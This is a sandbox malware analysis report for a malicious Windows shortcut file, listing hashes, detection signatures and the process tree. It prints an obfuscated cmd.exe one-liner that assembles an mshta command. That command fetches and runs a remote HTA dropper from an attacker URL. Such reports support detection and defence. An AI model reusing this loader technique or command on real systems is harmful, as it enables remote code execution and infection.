Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:24
Static task
static1
Behavioral task
behavioral1
Sample
DOC-DIVBAK.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-DIVBAK.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-DIVBAK.lnk
- Size 2KB
- Sample260803-qnslsaab68
- SHA256 00255d105758a1361dc8f8f63e6bb7d5e26eb1f65ea5fce097e78518fc31bbd2
- MD5 99128a9a3d4e5c3fb56809fd8b8521ec
- SHA1 c196325333234a9e423356bca8875be4a8b949b5
- SHA512 d15ff48c2549b260a93f56381f83a77eb7d84ca50a12d86d3250944a9047c7ff2e527fa5d0ac892baa027255291ddae1a5a29ee510dc94bcdedbcc93c6294bea
- TLSH T1E74168903BEE01E4F2BB4E36EDFE2754497BB9A51DB0C68D0840820D1422B44D9B3B67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3412 cmd.exe 3440 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3412 wrote to memory of 3440 3412 cmd.exe 91 PID 3440 wrote to memory of 4072 3440 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DIVBAK.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3412 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set KTlID=oldjhheofvxlfjold&&set kyzq=5wkmshl4r&&set DesD=x8tnt&&set eG=agba0a&&set HNIyf=datwxmjikxhzdsqwgacdat&&set ryy=tmptnvfasttynxtrhmtmp&&set nO=dbgyrhstdbg&&set Ub=cachedikxsipkzffcache&&set nWIu=3sr4q&&set UH=ttluv&&set PS=3dgartl&&set vq=oldlypkyyaold&&set JJ=cfgjvxmyrrtlycdatttmcfg&&set gyc=ht@tps@:/@/b@ro-@pdf@fille@r.@l@at/h/estag@io1@.@php?r=36076@1F@15@794&&start /b !kyzq:~3,3!!DesD:~2,1!!eG:~3,1! !gyc:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3440 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:4072
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